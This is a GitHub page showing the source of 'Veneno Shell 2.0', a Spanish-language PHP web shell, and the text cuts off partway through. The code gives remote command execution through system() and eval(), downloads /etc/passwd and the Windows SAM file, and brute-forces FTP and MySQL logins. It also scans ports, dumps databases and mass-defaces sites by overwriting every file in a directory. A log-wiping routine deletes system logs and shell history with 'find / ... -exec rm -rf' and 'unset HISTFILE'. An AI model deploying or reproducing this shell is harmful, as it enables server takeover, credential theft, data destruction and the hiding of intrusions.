-
Notifications
You must be signed in to change notification settings - Fork 5
/
vshell.php
1447 lines (1234 loc) · 43.5 KB
/
vshell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
error_reporting(0);
/*
Veneno Shell 2.0
Venenako (C) 2012 - 2015
Mail : venenoderon[at]hotmail[com]
Web : blog.veneno.ovh
*/
@session_start();
$username = "f81f10e631f3c519d5a44d8da976fb67"; //veneno
$password = "f81f10e631f3c519d5a44d8da976fb67"; //veneno
if (isset($_POST['user'])) {
if (md5($_POST['user']) == $username && md5($_POST['pass']) == $password) {
$_SESSION['loginh'] = "1";
}
}
if (isset($_GET['chaunow'])) {
@session_destroy();
}
if ($_SESSION['loginh'] == 1) {
if (isset($_GET['info'])) {
die(phpinfo());
}
if (isset($_POST['sessionew'])) {
@session_start();
if ($_SESSION[$_POST['sessionew']] = $_POST['valor']) {
echo "<script>alert('Sesion aceptada');</script>";
} else {
echo "<script>alert('Error');</script>";
}
}
function creditos() {
echo "<br><br><br><br>"; // ventana termina
echo "<center>[+] © VenenoShell 2012 - 2015 | Contacto: venenoderon[at]hotmail[com] | Web: blog.veneno.ovh [+]</center>";
exit(1);
}
if(isset($_GET['bajardb'])) {
$tod = @mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']);
mysql_select_db($_GET['bajardb']);
$resultado = mysql_query("SHOW TABLES FROM ".$_GET['bajardb']);
while ($tabla = mysql_fetch_row($resultado)) {
foreach($tabla as $indice => $valor) {
$todo.= "<br><br>".$valor."<br><br>";
$resultadox = mysql_query("SELECT * FROM ".$valor);
$todo.="<div class=table>";
for ($i=0;$i< mysql_num_fields($resultadox);$i++) {
$todo.="<th>".mysql_field_name($resultadox,$i)."</th>";
}
while($dat = mysql_fetch_row($resultadox)) {
$todo.="<tr>";
foreach($dat as $val) {
$todo.="<td >".$val."</td>";
}
}
$todo.="</tr></div>";
}
}
@mysql_free_result($tod);
@header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
@header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
echo $todo;
exit(1);
}
if(isset($_GET['bajartabla'])) {
$tod = mysql_connect($_GET['host'],$_GET['usuario'],$_GET['password']) or die("<h1>Error</h1>");
mysql_select_db($_GET['condb']);
if(!empty($_GET['sentencia'])) {
$resultado = mysql_query($_GET['sentencia']);
} else {
$resultado = mysql_query("SELECT * FROM ".$_GET['bajartabla']);
}
$todo.="<div class=db>";
for ($i=0;$i< mysql_num_fields($resultado);$i++) {
$todo.="<th>".mysql_field_name($resultado,$i)."</th>";
}
while($dat = mysql_fetch_row($resultado)) {
$todo.="<tr>";
foreach($dat as $val) {
$todo.="<td>".$val."</td>";
}
}
@mysql_free_result($tod);
$todo.="</tr></div>";
@header("Content-type: application/vnd-ms-excel; charset=iso-8859-1");
@header("Content-Disposition: attachment; filename=".date('d-m-Y').".xls");
echo $todo;
exit(1);
}
if (isset($_GET['reload'])) {
$tipo = pathinfo($_GET['reload']);
echo '<meta http-equiv="refresh" content="0;URL=?dir='.$tipo['dirname'].'">';
creditos();
}
function dame($file) {
return substr(sprintf('%o', fileperms($file)), -4);
}
if (isset($_GET['down'])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET['down']));
readfile($_GET['down']);
exit(0);
}
if (isset($_POST['cookienew'])) {
if (setcookie($_POST['cookienew'],$_POST['valor'])) {
echo "<script>alert('Cookie creada');</script>";
echo '<meta http-equiv="refresh" content="0;URL=?cookiemanager">';
} else {
echo "<script>alert('Error');</script>";
}
}
echo '<style>
html,
* {
margin: 0;
padding: 0;
}
body {
background: url(http://i.imgur.com/6mD2Zzt.png);
font-size: 12px;
font-family: Tahoma, Verdana, Arial;
color: grey;
}
a {
color: white;
}
.table {
width: 850px;
border: 1px red solid;
padding: 5px;
margin: 0px auto;
background: url(http://i.imgur.com/sDbaMsW.gif);
margin: 10px auto;
}
.menu a {
padding: 4px 18px;
margin: 0;
background: #222222;
text-decoration: none;
letter-spacing: 2px;
-moz-border-radius: 5px;
-webkit-border-radius: 5px;
-khtml-border-radius: 5px;
border-radius: 5px;
}
.menu a:hover {
background: #191919;
border-bottom: 1px solid #333333;
border-top: 1px solid #333333;
}
.imgs {
display: table;
}
.image1 {
margin: auto;
margin-left: 350px;
margin-top: -600px;
}
INPUT,TEXTAREA,table,SELECT,FIELDSET{font-family:courier new; font-size:11px; font-weight:bold; background:#101010; color:red; border-top:1px solid red; border-left:1px solid red; border-right:1px solid red; border-bottom:1px solid red;}
</style>';
echo "<title>".$_SERVER["SERVER_NAME"]." - VenenoShell</title>";
$verdad = php_uname('s').php_uname('r');
$link = "http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=".$verdad."&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
echo "<center><div class=table><br><img src=http://i.imgur.com/S3XO7b5.png /><br>
<b>Sistema</b>: <a href='".$link."'>".$verdad."</a> "." ".php_uname('v')." <b>Servidor</b>: ".$_SERVER['SERVER_SOFTWARE']."<br>";
if (file_exists("C:/WINDOWS/repair/sam")) {
echo "<b>Archivo encontrado: </b><a href=?down=C:/WINDOWS/repair/sam>SAM</a> ";
}
if (file_exists("/etc/passwd")) {
echo "<b>Archivo encontrado: </b><a href=?down=/etc/passwd>etc/passwd</a> ";
}
echo "<b>IP</b>: ".$_SERVER['SERVER_ADDR']."
<b>Usuario</b>: uid=".getmyuid()." (".get_current_user().") gid=".getmygid()."
<b>Path</b>: ".getcwd()."
<br><b>Version PHP</b>: ".phpversion()."";
if (ini_get('safe_mode')==0) {
echo "<b> Modo seguro</b>: OFF ";
} else {
echo "<b> Modo seguro</b>: <font color=green>ON</font> ";
}
if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") {
echo "<b>Magic Quotes</b>: <font color=green>ON</font> ";
} else {
echo "<b>Magic Quotes</b>: OFF ";
}
exec("perl -h",$perl);
if ($perl) {
echo "<b>Perl</b>: <font color=green>ON</font> ";
} else {
echo "<b>Perl</b>: OFF ";
}
exec("wget --help",$wget);
if ($wget) {
echo "<b>WGET</b>: <font color=green>ON</font> ";
} else {
echo "<b>WGET</b>: OFF ";
}
exec("curl_version",$curl);
if ($curl) {
echo "<b>CURL</b>: <font color=green>ON</font> ";
} else {
echo "<b>CURL</b>: OFF ";
}
echo "<br><br>";
echo "
<a href=?dir=>Navegar</a> X
<a href=?cmd=>CMD</a> X
<a href=?upload=>Subir</a> X
<a href=?base64=>Base64</a> X
<a href=?phpconsole=>Consola PHP</a> X
<a href=?info=>infoPHP</a> X
<a href=?bomber=>Mailer</a> X
<a href=?cracker=>Crackers</a> X
<a href=?proxy=>ProxyWeb</a> X
<a href=?port=>Puerto escaner</a><br>
<a href=?md5=>Codificadores</a> X
<a href=?md5crack=>MD5 Cracker</a> X
<a href=?backshell>BackShell</a> X
<a href=?mass=>MassDeface</a> X
<a href=?logs=>LimpiaLogs</a> X
<a href=?ftp=>FTP</a> X
<a href=?cookiemanager=>Cookies</a> X
<a href=?sessionmanager=>Sesion</a> X
<a href=?chau=>Destruir</a>
</center>
<br><br>
";
echo "<div class=table><br>"; //ventana inicia
//and count($_POST) == 0
if (count($_GET) == 0) {
echo <<<_HTML_
<center><pre>
.do-"""""'-o..
.o"" ""..
,,'' ``b.
d' ``b
d`d: `b.
,,dP `Y.
d`88 `8.
ooooooooooooooooood888`88' `88888888888bo,
d""" `""""""""""""Y:d8P 8, `b
8 P,88b ,`8 8
8 ::d888, ,8:8. 8
: dY88888 `' :: 8
: 8:8888 `b 8
: Pd88P',... ,d888o.8 8
: :88'dd888888o. d8888`88: 8
: ,:Y:d8888888888b ,d88888:88: 8
: :::b88d888888888b. ,d888888bY8b 8
b:P8;888888888888. ,88888888888P 8
8:b88888888888888: 888888888888' 8
8:8.8888888888888: Y8888888888P 8
, YP88d8888888888P' ""888888"Y 8
: :bY8888P"""""'' : 8
: 8'8888' d 8
: :bY888, ,P 8
: Y,8888 d. ,- ,8' 8
: `8)888: ' ,P' 8
: `88888. ,... ,P 8
: `Y8888, ,888888o ,P 8
: Y888b ,88888888 ,P' 8
: `888b ,888888888 ,,' 8
: `Y88b dPY888888OP :' 8
: :88.,'. `' `8P-"b. 8
:. )8P, ,b ' - ``b 8
:: :': d,'d`b, . - ,db 8
:: `b. dP' d8': d88' 8
:: '8P" d8P' 8 - d88P' 8
:: d,' ,d8' '' dd88' 8
:: d' 8P' d' dd88'8 8
: ,: `' d:ddO8P' `b. 8
: ,dooood88: , ,d8888"" ```b. 8
: .o8"'""""""Y8.b 8 `"'' .o' `"""ob. 8
: dP' `8: K dP'' "`Yo. 8
: dP 88 8b. ,d' ``b 8
: 8. 8P 8""' `" :. 8
: :8: :8' ,: :: 8
: :8: d: d' :: 8
: :8: dP ,,' :: 8
: `8: :b dP ,, :: 8
: ,8b :8 dP ,, d 8
: :8P :8dP d' d 8 8
: :8: d8P d' d88 :P 8
: d8' ,88' ,P ,d888 d' 8
: 88 dP' ,P d8888b 8 8
' ,8: ,dP' 8. d8''88' :8 8
:8 d8P' d88b d"' 88 :8 8
d: ,d8P' ,8P""". 88 :P 8
8 ,88P' d' 88 :: 8
,8 d8P 8 88 :: 8
d: 8P ,: -hrr- :88 :: 8
8',8:,d d' :8: :: 8
,8,8P'8' ,8 :8' :: 8
:8`' d' d' :8 :: 8
`8 ,P :8 :8: :: 8
8, ` d8. :8: 8: 8
:8 d88: d8: 8 8
, `8, d8888 88b 8 8
: 88 ,d::888 888 Y: 8
: YK,oo8P :888 888. `b 8
: `8888P :888: ,888: Y, 8
: ``'" `888b :888: `b 8
: 8888 888: :: 8
: 8888: 888b Y. 8,
: 8888b :888 `b 8:
: 88888. `888, Y 8:
``ob...............--"""""'----------------------`""""""""'"""`'"""""
</pre></center>
_HTML_;
}
if (isset($_GET['cracker'])) {
echo "
<h2><center>Multi Cracker</center></h2><br>
<form action='' method=POST>
<center><table>
<b>Host: </b><br><input type=text name=host value=localhost><br><br>
<b>User: </b><br><input type=text name=user value=neeno><br><br>
<b>Wordlist: </b><br><input type=text name=passnow value='/var/www/list.txt'><br><br>
<b>Servicio: </b><br><select name=services><option>FTP</option><option>MYSQL</option></select><br><br>
<input type=submit value=Crack><br><br></center>
</form>
";
if (isset($_POST['passnow'])) {
$open = fopen($_POST['passnow'],"r");
echo "<br><br><fieldset><center>";
echo "<br>[+] Crackeando<br><br>";
if ($_POST['services'] == "FTP") {
echo "[+] Servicio : FTP<br><br>";
while(!feof($open)) {
$word = fgets($open,255);
$linea = chop($word);
if ($enter = ftp_connect($_POST['host'])) {
if ($dentro = ftp_login($enter,$_POST['user'],$linea)) {
echo "[+] Usuario: ".$_POST['user']."<br>";
echo "[+] Clave: ".$linea."<br>";
fclose($open);
ftp_close($enter);
echo "<br><br>[+] Escaner finalizado<br><br>";
creditos();
}
}
}
echo "<br><br>[+] Escaner finalizado<br><br>";
}
if ($_POST['services'] == "MYSQL") {
echo "[+] Servicio: MYSQL<br><br>";
while(!feof($open)) {
$word = fgets($open,255);
$linea = chop($word);
if (mysql_connect($_POST['host'],$_POST['user'],$linea)) {
echo "[+] Usuario: ".$_POST['user']."<br>";
echo "[+] Clave: ".$linea."<br>";
fclose($open);
mysql_close();
echo "<br><br>[+] Escaner finalizado<br><br>";
creditos();
}
}
echo "<br><br>[+] Escaner finalizado<br><br>";
}
}
}
if (!empty($_GET['hostar'])) {
@set_time_limit(5);
echo "<center><h2>Escaner de puertos</h2></center><br><br>";
echo "<fieldset>";
echo "[+] <b>Victima: </b>".$_GET['hostar']."<br><br>";
echo "[+] <b>Escanear hasta: </b>".$_GET['start']."-".$_GET['end']."<br><br>";
for ( $i = $_GET['start'] ; $i < $_GET['end'] ; $i++ ) {
$re = @fsockopen($_GET['hostar'],$i,$errno,$errstr,1);
if ($re) {
echo "<b>[+] Puertos encontrados: </b>".$i."<br>";
}
}
echo "<br><br><b>[+] Escaner finalizado [+]</b><br><br>";
echo "</fieldset>";
}
if (isset($_GET['port'])) {
echo "<center><h2>Escaner de puertos</h2></center><br><br>";
echo "<center>
<form action='' method=GET>
<fieldset><br>
<td><b>Host: </b></td><td><input type=text name=hostar value=localhost></td><tr><br><br>
<td><b>Port Start: </b></td><td><input type=text name=start value=79></td><tr><br><br>
<td><b>Port End: </b></td></b><td><input type=text name=end value=82></td><tr><br><br>
<input type=submit value=Scan><br><br>
</fieldset>
</form></center>
<br>";
}
if (isset($_GET['proxy'])) {
echo "<center><h2>Simple ProxyWeb</h2></center><br><br>";
echo "<center><form action='' method=GET>";
echo "<b>Web : </b><input type=text size=40 name=proxy value=http://localhost/sql.php><input type=submit value=Get>";
echo "</form></center>";
$code = @file_get_contents($_GET['proxy']);
if ($code) {
echo "<br><br><fieldset>".$code."<br><br></fieldset>";
}
}
if (isset($_GET['md5'])) {
echo "<form action='' method=POST>
<b>Text :</b> <input type=text name=tex value=test><select name=optionsa><option>MD5</option><option>SHA1</option><option>CRC32</option></select><input type=submit value=Encode>
</form>
";
}
if (isset($_POST['tex'])) {
echo "<br><br>Result<br><br><fieldset>";
if ($_POST['optionsa'] == "MD5") {
echo md5($_POST['tex']);
}
if ($_POST['optionsa'] == "SHA1") {
echo sha1($_POST['tex']);
}
if ($_POST['optionsa'] == "CRC32") {
printf("%u\n",crc32($_POST['tex']));
}
echo "</fieldset>";
}
if(isset($_GET['perms'])) {
echo "
<form action='' method=POST>
<b>Archivo:</b> <input type=text name=archivo value=".$_GET['perms'].">
<br>
Perms: <input type=text name=perms value=".dame($_GET['perms'])."
<br><br>
<br><input type=submit name=cambiarperms value=Change>
</form>
";
}
if (isset($_POST['cambiarperms'])) {
if (chmod($_POST['archivo'],$_POST['perms'])) {
echo "<script>alert('Cambiados');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['archivo'].">Atrás</a><br><br></font>
";
}
if (isset($_GET['ren'])) {
echo "
<form action='' method=POST>
Archivo: <input type=text name=nombre value=".$_GET['ren']."><br>
Cambiar a: <input type=text name=cambio><br><BR>
<input type=submit name=cambios value=Change><BR>
</form>
";
}
if (isset($_POST['cambios'])) {
if (@rename($_POST['nombre'],$_POST['cambio'])) {
echo "<script>alert('Cambiado');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['cambios'].">Atras</a><br><br></font></center>";
}
if (isset($_POST['crear1'])) {
chdir($_POST['dir']);
if (fopen($_POST['crear1'],"w")) {
echo "<script>alert('Archivo creado');</script>";
}else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['dir'].">Atrás</a><br><br></font></center>";
}
if (isset($_POST['crear2'])) {
chdir($_POST['dir']);
if (@mkdir($_POST['crear2'],777)) {
echo "<script>alert('Directorio creado');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['dir'].">Atrás</a><br><br></font></center>";
}
if (isset($_GET ['copiar'])) {
echo '
<form action="" method=POST>
Archivo: <input type=text name=archivo value='.$_GET['copiar'].'><br>
Copiar a: <input type=text name=nuevo><br><br>
<input type=submit name=copiado value=Copy><BR>
</form>
';
}
if (isset($_POST['copiado'])) {
if (copy($_POST['archivo'],$_POST['nuevo'])) {
echo "<script>alert('OK');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_POST['archivo'].">Atrás</a><br><br></font></center>";
}
if (isset($_GET['open'])) {
echo "<form action='' method=POST>";
echo "<center>";
echo "<textarea cols=80 rows=40 name=code>";
$archivo = file($_GET['open']);
foreach($archivo as $n=>$sub) {
$texto = htmlspecialchars($sub);
echo $texto;
}
echo "</textarea></center>";
echo "<br><br><center><input type=submit value=Save name=modificar></center><br><br>";
echo "</form>";
}
if (isset($_POST['modificar'])) {
$modi = fopen($_GET['open'],'w+');
if ($yeah = fwrite($modi,$_POST['code'])) {
echo "<script>alert('OK');</script>";
} else {
echo "<script>alert('Error');</script>";
}
echo "<br><br><font color=red><center><a href=?reload=".$_GET['open'].">Atrás</a><br><br></font></center>";
}
if (isset($_POST['options'])) {
$files = $_POST['valor'];
if ($_POST['options'] == "Delete") {
foreach ($files as $file) {
if (filetype($file) == "dir") {
//@rmdir($file);
} else {
//@unlink($file);
}
}
echo '<meta http-equiv=Refresh content="0;url=?dir='.$dir->path.'">';
echo "<script>alert('Archivos eliminados');</script>";
}
if ($_POST['options'] == "Download") {
foreach ($files as $file) {
echo '<meta http-equiv=Refresh content="0;url=?down='.$file.'">';
exit(0);
}
}
if ($_POST['options'] == "Copy") {
echo "<form action='' method=POST>";
foreach($files as $file) {
echo 'Name : <input type=text name=rutax[] value="'.$file.'"> a: <input type=text name=cambiax[] value="'.$file.'"><br>';
}
echo "<br><br><input type=submit value=Copy>";
echo "</form>";
exit(0);
}
if ($_POST['options'] == "Move") {
echo "<form action='' method=POST>";
foreach($files as $file) {
echo 'Nombre: <input type=text name=rutas[] value="'.$file.'"> a: <input type=text name=cambiar[] value="'.$file.'"><br>';
}
echo "<br><br><input type=submit name=mirameboludo value=Move>";
echo "</form>";
creditos();
}
}
if (isset($_POST['rutax'])) {
$tengo = count($_POST['rutax']);
for ($i = 0; $i <= $tengo; $i++) {
@copy($_POST['rutax'][$i],$_POST['cambiax'][$i]);
}
echo "<script>alert('Archivos copiados');</script>";
}
if (isset($_POST['mirameboludo'])) {
$tengo = count($_POST['rutas']);
for ($i = 0; $i <= $tengo; $i++) {
@rename($_POST['rutas'][$i],$_POST['cambiar'][$i]);
}
echo "<script>alert('Archivos movidos');</script>";
}
if (isset($_GET['dir'])) {
if ($_GET['dir']=="") {
$path = getcwd();
@chdir($path);
$dir = @dir($path);
} else {
$path = $_GET['dir'];
@chdir($path);
$dir = @dir($path);
}
$scans = range("B","Z");
echo "<b>Eliminar drives: </b>";
foreach($scans as $drive) {
$drive = $drive.":\\";
if (is_dir($drive)) {
echo " "."<a href=?dir=".$drive.">".$drive."</a>";
}
}
echo "
<br><br>
<form action='' method=GET>
<b>Directorio</b>: <input type=text name=dir value=".$path."><input type=submit name=ir value=Navegar>
</form>
<br><br>
<form action='' method=POST>
<b>Nuevo archivo</b>: <input type=text name=crear1><input type=hidden name=dir value=".$dir->path."><input type=submit value=Crear>
</form>
<form action='' method=POST>
<b>Nuevo Directorio</b>: <input type=text name=crear2><input type=hidden name=dir value=".$dir->path."><input type=submit value=Crear>
</form><br><br>
";
$archivos = array('dir'=>array(),'file'=>array());
while ($archivo = $dir->read()) {
$ver = @filetype($path.'/'.$archivo) ;
if ($ver=="dir") {
$archivos['dir'][] = $path.'/'.$archivo;
} else {
$archivos['file'][] = $path.'/'.$archivo;
}
}
$dir->rewind();
if (count($archivos['dir'])==0 and count($archivos['file']==0)) {
echo "<script>alert('Directorio borrado');/<script>";
}
echo "<form action='' method=POST>";
echo "<br><b>Directorios encontrados</b>: ".count($archivos['dir'])."<br>";
echo "<b>Archivos encontrados</b>: ".count($archivos['file'])."<br><br><br>";
echo "<table background=http://i.imgur.com/sDbaMsW.gif border=1>";
echo "<td width=200>Nombre</td><td width=100>Type</td><td width=100>Tiempo modificado</td>";
echo "<td width=150>Permisos</td><td width=150>Accion</td>";
echo "<tr>";
foreach ($archivos['dir'] as $dirs) {
$dirsx = pathinfo($dirs);
echo "<td width=150><a href=?dir=".$dirs.">".$dirsx['basename']."</a></td>";
echo "<td width=150>Directory</td>";
echo "<td width=200>".date("F d Y H:i:s",fileatime($dirs))."</td>";
echo "<td width=150><a href=?perms=".$dirs.">".dame($dirs)."</a></td>";
echo "<td><input type=checkbox name=valor[] value=".$dirs."></td>";
echo "</tr><tr>";
}
foreach ($archivos['file'] as $files) {
$filex = pathinfo($files);
echo "<td width=100><a href=?open=".$files.">".$filex['basename']."</a></td>";
echo "<td width=100>File</td>";
echo "<td width=100>".date("F d Y H:i:s",fileatime($files))."</td>";
echo "<td width=100><a href=?perms=".$files.">".dame($files)."</a></td>";
echo "<td><input type=checkbox name=valor[] value=".$files."></td>";
echo "</tr><tr>";
}
echo "</table>";
echo"<br><br>
Opciones :
<select name=options>
<option>Eliminar</option>
<option>Mover</option>
<option>Copiar</option>
<option>Descargar</option>
</select> <input type=submit value=Ok></form>";
}
if (isset($_GET['cmd'])) {
echo '<center><h2>Consola</h2><br>
<form action="" method=POST>
<b>Comando: </b><input type=text name=comando size=50><input type=submit name=ejecutar value=Now>
</form></center>
';
}
if (isset($_POST['ejecutar'])) {
echo '<center><br>
<br><br>Comando<br><br>
<fieldset>
'.$_POST['comando'].'</fieldset>
<br><br>Resultado<br><br><fieldset>';
if (!system($_POST['comando'])) {
echo "<script>alert('Error al ejecutar');</script>";
echo "Error";
}
echo "</center><br><br></fieldset><br><br>";
}
if (isset($_GET['upload'])) {
echo "<center><h2>Subir archivos</h2></center><center><br><br><br>";
echo '
<form enctype="multipart/form-data" action="" method=POST>
<b>Archivo: </b><input type=file name=archivo><br><br>
<b>Directorio: </b><input type=text name=destino value='.getcwd().'>
<input type=submit value=Upload><br>
</form>';
if (isset($_FILES['archivo'])) {
$subimos = basename($_FILES['archivo']['name']);
if (move_uploaded_file($_FILES['archivo']['tmp_name'],$subimos)) {
if (copy($subimos,$_POST['destino']."/".$subimos)) {
unlink($subimos);
echo "<script>alert('Archivo subido');</script>";
}
} else {
echo "<script>alert('Error');</script>";
}}}
if (isset($_GET['base64'])) {
echo '<center><h2>De/Codificador base64</h2><br>
<form action="" method=POST>
<b>Codificar:</b> <input type=text name=code size=50><input type=submit name=codificar value=Encode>
</form>
<form action="" method=POST>
<b>Decodificar:</b> <input type=text name=decode size=50><input type=submit name=decodificar value=Decode>
</form></center>
';
}
if (isset($_POST['codificar'])) {
echo "<center>";
echo "<br><br>Texto<br><br><fieldset>".$_POST['code']."</fieldset><br><br>Resultado<br><br><fieldset>";
echo base64_encode($_POST['code']) ;
echo "</fieldset></center><br><br>";
}
if (isset($_POST['decodificar'])) {
echo "<center><br><br>Texto<br><br><fieldset>".$_POST['decode']."</fieldset><br><br>Resultado<br><br><fieldset>";
echo base64_decode($_POST['decode']);
echo "</fieldset></center><br><br>";
}
if (isset($_GET['phpconsole'])) {
echo '<center><h2>Funcion eval()</h2><center><br>
<form action="" method=POST>
<b>Código:</b> <input type=text name=codigo size="70"><input type=submit name=cargar value=OK>
</form>
';
}
if (isset($_POST['cargar'])) {
echo "<br><br>Código<br><br>
<fieldset>
".$_POST['codigo']."
</fieldset>
<br><br>
Resultado<br><br>
<fieldset>";
eval($_POST['codigo']);
echo "</fieldset>
";
}
if (isset($_GET['logs'])) {
echo '
<br><br><center><h3>Pateador</h3>
<br><br>
<form action="" method=GET>
<input type=submit name=clean value=Start>
</form></center>
<br><br>
';
}
if (isset($_GET['clean'])) {
$paths = array("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp","/var/log/secure","/root/.ksh_history", "/root/.bash_history","/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp","/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs","/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy","/var/log/proftpd.xferlog", "/var/log/proftpd.access_log","/var/log/httpd/error_log", "/var/log/httpsd/ssl_log","/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba","/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority","/var/log/poplog", "/var/log/news.all", "/var/log/spooler","/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice","/var/log/news/suck.err", "/var/log/news/suck.notice","/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks","/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log","/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs","/var/log/auth");
echo "<br><br><center><h2>OutPut</h2></center>";
$comandos = array('find / -name *.bash_history -exec rm -rf {} \;' , 'find / -name *.bash_logout -exec rm -rf {} \;','find / -name log* -exec rm -rf {} \;','find / -name *.log -exec rm -rf {} \;','unset HISTFILE','unset SAVEHIST');
echo "<center>";
foreach($paths as $path) {
if(@unlink($path)) {
echo $path.": <b>Eliminado</b><br>";
}
}
echo "<br><br>";
foreach($comandos as $comando) {
echo "<b>Ejecutar comando: </b>".$comando."<br>";
system($comando);
}
echo "<center>";
}
if(isset($_GET['mass'])) {
echo "<center><h2>[+] Mass Defacement [+]</h2></center><br><br><center>
<form action='' method=POST>
<b>Directorio principal:</b> <input type=text name=dir value=".getcwd()."><br><br>
<b>Codigo:</b> <input type=text name=codigo size=70>
<input type=submit name=def value=Start>
</form>
</center>
";
}
function juntar ($dira,$text) {
$dir= opendir($dira);
while (!is_bool($archivos = readdir($dir))) {
if ($archivos != "..") {
if ($archivos != ".") {
if ($archivos != basename($_SERVER['PHP_SELF'])) {
if (@filetype($dira."/".$archivos) == dir) {
juntar($dira."/".$archivos,$text);
} else {
echo "<center>";
echo "<b>Deface: </b>".$dira."/".$archivos."<br>";
$solo = fopen($dira."\\".$archivos,"w");
$solo = fwrite($solo,$text);
fclose($solo);
echo "</center>";
}}}}}}
if (isset($_POST['def'])) {
echo "<br><br><center><h2>OutPut</h2></center><br><br>";
juntar($_POST['dir'],$_POST['codigo']);
}
if (isset($_GET['chau'])) {
if ($_GET['chau'] == "fuckit") {
echo "<br><br><h3>BOOOOOOOM!!!</h3><br><br>";
//unlink(basename($_SERVER['PHP_SELF'])); //descomentar para usar esta funcion
} else {
